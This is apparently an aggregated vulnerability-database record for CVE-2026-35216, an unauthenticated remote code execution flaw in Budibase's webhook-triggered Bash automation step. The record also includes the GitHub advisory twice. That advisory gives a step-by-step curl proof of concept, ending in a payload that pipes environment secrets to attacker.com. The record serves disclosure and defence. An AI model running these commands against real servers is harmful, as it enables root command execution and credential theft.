{"id":"CVE-2026-35216","aliases":["EUVD-2026-18795","GHSA-fcm4-4pj2-m5hf"],"status":"published","title":"Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step","description":"Budibase is an open-source low-code platform. Prior to version 3.33.4, an unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container. This issue has been patched in version 3.33.4.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.10904,"percentile":0.9591,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-04-03T15:45:40Z","modified":"2026-10-28T02:30:39Z","fixes":[{"ecosystem":"npm","package":"@budibase/server","fixed_in":["3.33.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.33.4"}]}]},{"source":"osv","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.33.4"}]}]}],"products":[{"vendor":"budibase","product":"budibase"}],"references":[{"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-fcm4-4pj2-m5hf","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/Budibase/budibase/pull/18238","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/Budibase/budibase/commit/f0c731b409a96e401445a6a6030d2994ff4ac256","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/Budibase/budibase/releases/tag/3.33.4","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35216","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-fcm4-4pj2-m5hf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/35xxx/CVE-2026-35216.json","tags":["advisory"]},{"url":"https://github.com/Budibase/budibase","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-35216","title":"Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step","description":"Budibase is an open-source low-code platform. Prior to version 3.33.4, an unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container. This issue has been patched in version 3.33.4.","status":"published","published":"2026-04-03T15:45:40.091Z","modified":"2026-04-03T16:46:23.789Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:20:05.15083Z"}],"euvd":[{"id":"EUVD-2026-18795","description":"Budibase is an open-source low-code platform. Prior to version 3.33.4, an unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container. This issue has been patched in version 3.33.4.","status":"published","published":"2026-04-03T15:45:40Z","modified":"2026-04-03T16:46:23Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T19:25:16.550278Z"}],"ghsa":[{"id":"GHSA-fcm4-4pj2-m5hf","title":"Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step","description":"### Summary\nAn unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.\n\n### Details\n\n**Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:**\n\n```typescript\n// this shouldn't have authorisation, right now its always public\npublicRoutes.post(\"/api/webhooks/trigger/:instance/:id\", controller.trigger)\n```\n\nThe webhook trigger endpoint is registered on `publicRoutes` with **no authentication\nmiddleware**. Any unauthenticated HTTP client can POST to this endpoint.\n\n**Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:**\n\n```typescript\nconst command = processStringSync(inputs.code, context)\nstdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()\n```\n\nThe Bash automation step uses Handlebars template processing (`processStringSync`) on\n`inputs.code`, substituting values from the webhook request body into the shell command\nstring before passing it to `execSync()`.\n\n**Attack chain:**\n\n```\nHTTP POST /api/webhooks/trigger/{appId}/{webhookId}   ← NO AUTH\n        ↓\ncontroller.trigger()  [webhook.ts:90]\n        ↓\ntriggers.externalTrigger()\n        ↓ webhook fields flattened into automation context\nautomation.steps[EXECUTE_BASH].run()  [actions.ts:131]\n        ↓\nprocessStringSync(\"{{ trigger.cmd }}\", { cmd: \"ATTACKER_PAYLOAD\" })\n        ↓\nexecSync(\"ATTACKER_PAYLOAD\")                          ← RCE AS ROOT\n```\n\n**Precondition:** An admin must have created and published an automation containing:\n1. A Webhook trigger\n2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)\n\nThis is a legitimate and documented workflow. Such configurations may exist in\nproduction deployments for automation of server-side tasks.\n\n**Note on EXECUTE_BASH availability:** The bash step is only registered when\n`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:\n\n```typescript\n// packages/server/src/automations/actions.ts line 126-132\n// don't add the bash script/definitions unless in self host\nif (env.SELF_HOSTED) {\n  ACTION_IMPLS[\"EXECUTE_BASH\"] = bash.run\n  BUILTIN_ACTION_DEFINITIONS[\"EXECUTE_BASH\"] = automations.steps.bash.definition\n}\n```\n\n**Webhook context flattening** (why `{{ trigger.cmd }}` works):\n\nIn `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations\nthe `params.fields` are spread directly into the trigger context:\n\n```typescript\n// row actions and webhooks flatten the fields down\nelse if (sdk.automations.isWebhookAction(automation)) {\n  params = {\n    ...params,\n    ...params.fields,  // { cmd: \"PAYLOAD\" } becomes top-level\n    fields: {},\n  }\n}\n```\n\nThis means a webhook body `{\"cmd\": \"id\"}` becomes accessible as `{{ trigger.cmd }}`\nin the bash step template.\n\n### PoC\n\n#### Environment\n\n```\nTarget:  http://TARGET:10000   (any self-hosted Budibase instance)\nTester:  Any machine with curl\nAuth:    Admin credentials required for SETUP PHASE only\n         Zero auth required for EXPLOITATION PHASE\n```\n\n---\n\n#### PHASE 1 — Admin Setup (performed once by legitimate admin)\n\n\u003e **Note:** This phase represents normal Budibase usage. Any admin who creates\n\u003e a webhook automation with a bash step using template variables creates this exposure.\n\n**Step 1 — Authenticate as admin:**\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"username\": \"admin@company.com\",\n    \"password\": \"adminpassword\"\n  }'\n\n# Expected response:\n# {\"message\":\"Login successful\"}\n```\n\n**Step 2 — Create an application:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/applications \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"MyApp\",\n    \"useTemplate\": false,\n    \"url\": \"/myapp\"\n  }'\n\n# Note the appId from the response, e.g.:\n# \"appId\": \"app_dev_c999265f6f984e3aa986788723984cd5\"\n\nAPP_ID=\"app_dev_c999265f6f984e3aa986788723984cd5\"\n```\n\n**Step 3 — Create automation with Webhook trigger + Bash step:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d '{\n    \"name\": \"WebhookBash\",\n    \"type\": \"automation\",\n    \"definition\": {\n      \"trigger\": {\n        \"id\": \"trigger_1\",\n        \"name\": \"Webhook\",\n        \"event\": \"app:webhook:trigger\",\n        \"stepId\": \"WEBHOOK\",\n        \"type\": \"TRIGGER\",\n        \"icon\": \"paper-plane-right\",\n        \"description\": \"Trigger an automation when a HTTP POST webhook is hit\",\n        \"tagline\": \"Webhook endpoint is hit\",\n        \"inputs\": {},\n        \"schema\": {\n          \"inputs\": { \"properties\": {} },\n          \"outputs\": {\n            \"properties\": { \"body\": { \"type\": \"object\" } }\n          }\n        }\n      },\n      \"steps\": [\n        {\n          \"id\": \"bash_step_1\",\n          \"name\": \"Bash Scripting\",\n          \"stepId\": \"EXECUTE_BASH\",\n          \"type\": \"ACTION\",\n          \"icon\": \"git-branch\",\n          \"description\": \"Run a bash script\",\n          \"tagline\": \"Execute a bash command\",\n          \"inputs\": {\n            \"code\": \"{{ trigger.cmd }}\"\n          },\n          \"schema\": {\n            \"inputs\": {\n              \"properties\": { \"code\": { \"type\": \"string\" } }\n            },\n            \"outputs\": {\n              \"properties\": {\n                \"stdout\": { \"type\": \"string\" },\n                \"success\": { \"type\": \"boolean\" }\n              }\n            }\n          }\n        }\n      ]\n    }\n  }'\n\n# Note the automation _id from response, e.g.:\n# \"automation\": { \"_id\": \"au_b713759f83f64efda067e17b65545fce\", ... }\n\nAUTO_ID=\"au_b713759f83f64efda067e17b65545fce\"\n```\n\n**Step 4 — Enable the automation** (new automations start as disabled):\n\n```bash\n# Fetch full automation JSON\nAUTO=$(curl -sb cookies.txt \"http://TARGET:10000/api/automations/$AUTO_ID\" \\\n  -H \"x-budibase-app-id: $APP_ID\")\n\n# Set disabled: false and PUT it back\nUPDATED=$(echo \"$AUTO\" | python3 -c \"\nimport sys, json\nd = json.load(sys.stdin)\nd['disabled'] = False\nprint(json.dumps(d))\n\")\n\ncurl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d \"$UPDATED\"\n```\n\n**Step 5 — Create webhook linked to the automation:**\n\n```bash\ncurl -b cookies.txt -X PUT \"http://TARGET:10000/api/webhooks/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d \"{\n    \\\"name\\\": \\\"MyWebhook\\\",\n    \\\"action\\\": {\n      \\\"type\\\": \\\"automation\\\",\n      \\\"target\\\": \\\"$AUTO_ID\\\"\n    }\n  }\"\n\n# Note the webhook _id from response, e.g.:\n# \"webhook\": { \"_id\": \"wh_f811a038ed024da78b44619353d4af2b\", ... }\n\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\n```\n\n**Step 6 — Publish the app to production:**\n\n```bash\ncurl -b cookies.txt -X POST \"http://TARGET:10000/api/applications/$APP_ID/publish\" \\\n  -H \"x-budibase-app-id: $APP_ID\"\n\n# Expected: {\"status\":\"SUCCESS\",\"appUrl\":\"/myapp\"}\n\n# Production App ID = strip \"dev_\" from dev ID:\n# app_dev_c999265f... → app_c999265f...\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\n```\n\n---\n\n#### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)\n\nThe attacker only needs the production `app_id` and `webhook_id`.\nThese can be obtained via:\n- Enumeration of the Budibase web UI (app URLs are semi-public)\n- Leaked configuration files or environment variables\n- Insider knowledge or social engineering\n\n**Step 7 — Basic RCE — whoami/id:**\n\n```bash\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\nTARGET=\"http://TARGET:10000\"\n\n# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"cmd\":\"id\"}'\n\n# HTTP Response (immediate):\n# {\"message\":\"Webhook trigger fired successfully\"}\n\n# Command executes asynchronously inside container as root.\n# Output confirmed via container inspection or exfiltration.\n```\n\n**Step 8 — Exfiltrate all secrets:**\n\n```bash\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"cmd\":\"env | grep -E \\\"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\\\" | curl -s -X POST https://attacker.com/collect -d @-\"}'\n```\n\nConfirmed secrets leaked (no auth):\n```\nJWT_SECRET=testsecret\nAPI_ENCRYPTION_KEY=testsecret\nCOUCH_DB_URL=http://budibase:budibase@couchdb-service:5984\nREDIS_PASSWORD=budibase\nREDIS_URL=redis-service:6379\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nINTERNAL_API_KEY=budibase\nLITELLM_MASTER_KEY=budibase\n```\n\n### Impact\n- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where\n  any admin has created an automation with a Bash step that uses webhook trigger field\n  templates. This is a standard, documented workflow.\n\n- **What can an attacker do:**\n  - Execute arbitrary OS commands as `root` inside the application container\n  - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys\n  - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet\n  - Establish reverse shells and persistent access\n  - Read/write/delete all application data via CouchDB access\n  - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user\n  - Potentially escape the container if `--privileged` or volume mounts are used\n\n- **Authentication required:** **None** — completely unauthenticated\n- **User interaction required:** **None**\n- **Network access required:** Only access to port 10000 (the Budibase proxy port)\n\n\n\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed","status":"published","published":"2026-04-04T06:04:58Z","modified":"2026-04-04T06:04:59Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:39:47.945242Z"}],"nvd":[{"id":"CVE-2026-35216","description":"Budibase is an open-source low-code platform. Prior to version 3.33.4, an unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container. This issue has been patched in version 3.33.4.","status":"published","published":"2026-04-03T16:16:41.8Z","modified":"2026-10-06T22:10:00.247Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:13.1424Z"}],"osv":[{"id":"CVE-2026-35216","title":"Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step","description":"Budibase is an open-source low-code platform. Prior to version 3.33.4, an unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as root inside the container. This issue has been patched in version 3.33.4.","status":"published","published":"2026-04-03T15:45:40.091Z","modified":"2026-10-28T02:30:39.637591816Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:02.673625Z"},{"id":"GHSA-fcm4-4pj2-m5hf","title":"Budibase: Unauthenticated Remote Code Execution via Webhook Trigger and Bash Automation Step","description":"### Summary\nAn unauthenticated attacker can achieve Remote Code Execution (RCE) on the Budibase server by triggering an automation that contains a Bash step via the public webhook endpoint. No authentication is required to trigger the exploit. The process executes as `root` inside the container.\n\n### Details\n\n**Vulnerable endpoint — `packages/server/src/api/routes/webhook.ts` line 13:**\n\n```typescript\n// this shouldn't have authorisation, right now its always public\npublicRoutes.post(\"/api/webhooks/trigger/:instance/:id\", controller.trigger)\n```\n\nThe webhook trigger endpoint is registered on `publicRoutes` with **no authentication\nmiddleware**. Any unauthenticated HTTP client can POST to this endpoint.\n\n**Vulnerable sink — `packages/server/src/automations/steps/bash.ts` lines 21–26:**\n\n```typescript\nconst command = processStringSync(inputs.code, context)\nstdout = execSync(command, { timeout: environment.QUERY_THREAD_TIMEOUT }).toString()\n```\n\nThe Bash automation step uses Handlebars template processing (`processStringSync`) on\n`inputs.code`, substituting values from the webhook request body into the shell command\nstring before passing it to `execSync()`.\n\n**Attack chain:**\n\n```\nHTTP POST /api/webhooks/trigger/{appId}/{webhookId}   ← NO AUTH\n        ↓\ncontroller.trigger()  [webhook.ts:90]\n        ↓\ntriggers.externalTrigger()\n        ↓ webhook fields flattened into automation context\nautomation.steps[EXECUTE_BASH].run()  [actions.ts:131]\n        ↓\nprocessStringSync(\"{{ trigger.cmd }}\", { cmd: \"ATTACKER_PAYLOAD\" })\n        ↓\nexecSync(\"ATTACKER_PAYLOAD\")                          ← RCE AS ROOT\n```\n\n**Precondition:** An admin must have created and published an automation containing:\n1. A Webhook trigger\n2. A Bash step whose `code` field uses a trigger field template (e.g., `{{ trigger.cmd }}`)\n\nThis is a legitimate and documented workflow. Such configurations may exist in\nproduction deployments for automation of server-side tasks.\n\n**Note on EXECUTE_BASH availability:** The bash step is only registered when\n`SELF_HOSTED=1` (`actions.ts` line 129), which applies to all self-hosted deployments:\n\n```typescript\n// packages/server/src/automations/actions.ts line 126-132\n// don't add the bash script/definitions unless in self host\nif (env.SELF_HOSTED) {\n  ACTION_IMPLS[\"EXECUTE_BASH\"] = bash.run\n  BUILTIN_ACTION_DEFINITIONS[\"EXECUTE_BASH\"] = automations.steps.bash.definition\n}\n```\n\n**Webhook context flattening** (why `{{ trigger.cmd }}` works):\n\nIn `packages/server/src/automations/triggers.ts` lines 229–239, for webhook automations\nthe `params.fields` are spread directly into the trigger context:\n\n```typescript\n// row actions and webhooks flatten the fields down\nelse if (sdk.automations.isWebhookAction(automation)) {\n  params = {\n    ...params,\n    ...params.fields,  // { cmd: \"PAYLOAD\" } becomes top-level\n    fields: {},\n  }\n}\n```\n\nThis means a webhook body `{\"cmd\": \"id\"}` becomes accessible as `{{ trigger.cmd }}`\nin the bash step template.\n\n### PoC\n\n#### Environment\n\n```\nTarget:  http://TARGET:10000   (any self-hosted Budibase instance)\nTester:  Any machine with curl\nAuth:    Admin credentials required for SETUP PHASE only\n         Zero auth required for EXPLOITATION PHASE\n```\n\n---\n\n#### PHASE 1 — Admin Setup (performed once by legitimate admin)\n\n\u003e **Note:** This phase represents normal Budibase usage. Any admin who creates\n\u003e a webhook automation with a bash step using template variables creates this exposure.\n\n**Step 1 — Authenticate as admin:**\n\n```bash\ncurl -c cookies.txt -X POST http://TARGET:10000/api/global/auth/default/login \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"username\": \"admin@company.com\",\n    \"password\": \"adminpassword\"\n  }'\n\n# Expected response:\n# {\"message\":\"Login successful\"}\n```\n\n**Step 2 — Create an application:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/applications \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"name\": \"MyApp\",\n    \"useTemplate\": false,\n    \"url\": \"/myapp\"\n  }'\n\n# Note the appId from the response, e.g.:\n# \"appId\": \"app_dev_c999265f6f984e3aa986788723984cd5\"\n\nAPP_ID=\"app_dev_c999265f6f984e3aa986788723984cd5\"\n```\n\n**Step 3 — Create automation with Webhook trigger + Bash step:**\n\n```bash\ncurl -b cookies.txt -X POST http://TARGET:10000/api/automations/ \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d '{\n    \"name\": \"WebhookBash\",\n    \"type\": \"automation\",\n    \"definition\": {\n      \"trigger\": {\n        \"id\": \"trigger_1\",\n        \"name\": \"Webhook\",\n        \"event\": \"app:webhook:trigger\",\n        \"stepId\": \"WEBHOOK\",\n        \"type\": \"TRIGGER\",\n        \"icon\": \"paper-plane-right\",\n        \"description\": \"Trigger an automation when a HTTP POST webhook is hit\",\n        \"tagline\": \"Webhook endpoint is hit\",\n        \"inputs\": {},\n        \"schema\": {\n          \"inputs\": { \"properties\": {} },\n          \"outputs\": {\n            \"properties\": { \"body\": { \"type\": \"object\" } }\n          }\n        }\n      },\n      \"steps\": [\n        {\n          \"id\": \"bash_step_1\",\n          \"name\": \"Bash Scripting\",\n          \"stepId\": \"EXECUTE_BASH\",\n          \"type\": \"ACTION\",\n          \"icon\": \"git-branch\",\n          \"description\": \"Run a bash script\",\n          \"tagline\": \"Execute a bash command\",\n          \"inputs\": {\n            \"code\": \"{{ trigger.cmd }}\"\n          },\n          \"schema\": {\n            \"inputs\": {\n              \"properties\": { \"code\": { \"type\": \"string\" } }\n            },\n            \"outputs\": {\n              \"properties\": {\n                \"stdout\": { \"type\": \"string\" },\n                \"success\": { \"type\": \"boolean\" }\n              }\n            }\n          }\n        }\n      ]\n    }\n  }'\n\n# Note the automation _id from response, e.g.:\n# \"automation\": { \"_id\": \"au_b713759f83f64efda067e17b65545fce\", ... }\n\nAUTO_ID=\"au_b713759f83f64efda067e17b65545fce\"\n```\n\n**Step 4 — Enable the automation** (new automations start as disabled):\n\n```bash\n# Fetch full automation JSON\nAUTO=$(curl -sb cookies.txt \"http://TARGET:10000/api/automations/$AUTO_ID\" \\\n  -H \"x-budibase-app-id: $APP_ID\")\n\n# Set disabled: false and PUT it back\nUPDATED=$(echo \"$AUTO\" | python3 -c \"\nimport sys, json\nd = json.load(sys.stdin)\nd['disabled'] = False\nprint(json.dumps(d))\n\")\n\ncurl -b cookies.txt -X PUT http://TARGET:10000/api/automations/ \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d \"$UPDATED\"\n```\n\n**Step 5 — Create webhook linked to the automation:**\n\n```bash\ncurl -b cookies.txt -X PUT \"http://TARGET:10000/api/webhooks/\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"x-budibase-app-id: $APP_ID\" \\\n  -d \"{\n    \\\"name\\\": \\\"MyWebhook\\\",\n    \\\"action\\\": {\n      \\\"type\\\": \\\"automation\\\",\n      \\\"target\\\": \\\"$AUTO_ID\\\"\n    }\n  }\"\n\n# Note the webhook _id from response, e.g.:\n# \"webhook\": { \"_id\": \"wh_f811a038ed024da78b44619353d4af2b\", ... }\n\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\n```\n\n**Step 6 — Publish the app to production:**\n\n```bash\ncurl -b cookies.txt -X POST \"http://TARGET:10000/api/applications/$APP_ID/publish\" \\\n  -H \"x-budibase-app-id: $APP_ID\"\n\n# Expected: {\"status\":\"SUCCESS\",\"appUrl\":\"/myapp\"}\n\n# Production App ID = strip \"dev_\" from dev ID:\n# app_dev_c999265f... → app_c999265f...\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\n```\n\n---\n\n#### PHASE 2 — Exploitation (ZERO AUTHENTICATION REQUIRED)\n\nThe attacker only needs the production `app_id` and `webhook_id`.\nThese can be obtained via:\n- Enumeration of the Budibase web UI (app URLs are semi-public)\n- Leaked configuration files or environment variables\n- Insider knowledge or social engineering\n\n**Step 7 — Basic RCE — whoami/id:**\n\n```bash\nPROD_APP_ID=\"app_c999265f6f984e3aa986788723984cd5\"\nWEBHOOK_ID=\"wh_f811a038ed024da78b44619353d4af2b\"\nTARGET=\"http://TARGET:10000\"\n\n# NO cookies. NO API key. NO auth headers. Pure unauthenticated request.\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"cmd\":\"id\"}'\n\n# HTTP Response (immediate):\n# {\"message\":\"Webhook trigger fired successfully\"}\n\n# Command executes asynchronously inside container as root.\n# Output confirmed via container inspection or exfiltration.\n```\n\n**Step 8 — Exfiltrate all secrets:**\n\n```bash\ncurl -X POST \"$TARGET/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"cmd\":\"env | grep -E \\\"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\\\" | curl -s -X POST https://attacker.com/collect -d @-\"}'\n```\n\nConfirmed secrets leaked (no auth):\n```\nJWT_SECRET=testsecret\nAPI_ENCRYPTION_KEY=testsecret\nCOUCH_DB_URL=http://budibase:budibase@couchdb-service:5984\nREDIS_PASSWORD=budibase\nREDIS_URL=redis-service:6379\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nINTERNAL_API_KEY=budibase\nLITELLM_MASTER_KEY=budibase\n```\n\n### Impact\n- **Who is affected:** All self-hosted Budibase deployments (`SELF_HOSTED=1`) where\n  any admin has created an automation with a Bash step that uses webhook trigger field\n  templates. This is a standard, documented workflow.\n\n- **What can an attacker do:**\n  - Execute arbitrary OS commands as `root` inside the application container\n  - Exfiltrate all secrets: JWT secret, database credentials, API keys, MinIO keys\n  - Pivot to internal services (CouchDB, Redis, MinIO) unreachable from the internet\n  - Establish reverse shells and persistent access\n  - Read/write/delete all application data via CouchDB access\n  - Forge JWT tokens using the leaked `JWT_SECRET` to impersonate any user\n  - Potentially escape the container if `--privileged` or volume mounts are used\n\n- **Authentication required:** **None** — completely unauthenticated\n- **User interaction required:** **None**\n- **Network access required:** Only access to port 10000 (the Budibase proxy port)\n\n\n\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed","status":"published","published":"2026-04-04T06:04:58Z","modified":"2026-04-04T06:26:32.837121Z","cvss":[{"version":"3.1","score":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:46.39441Z"}]}}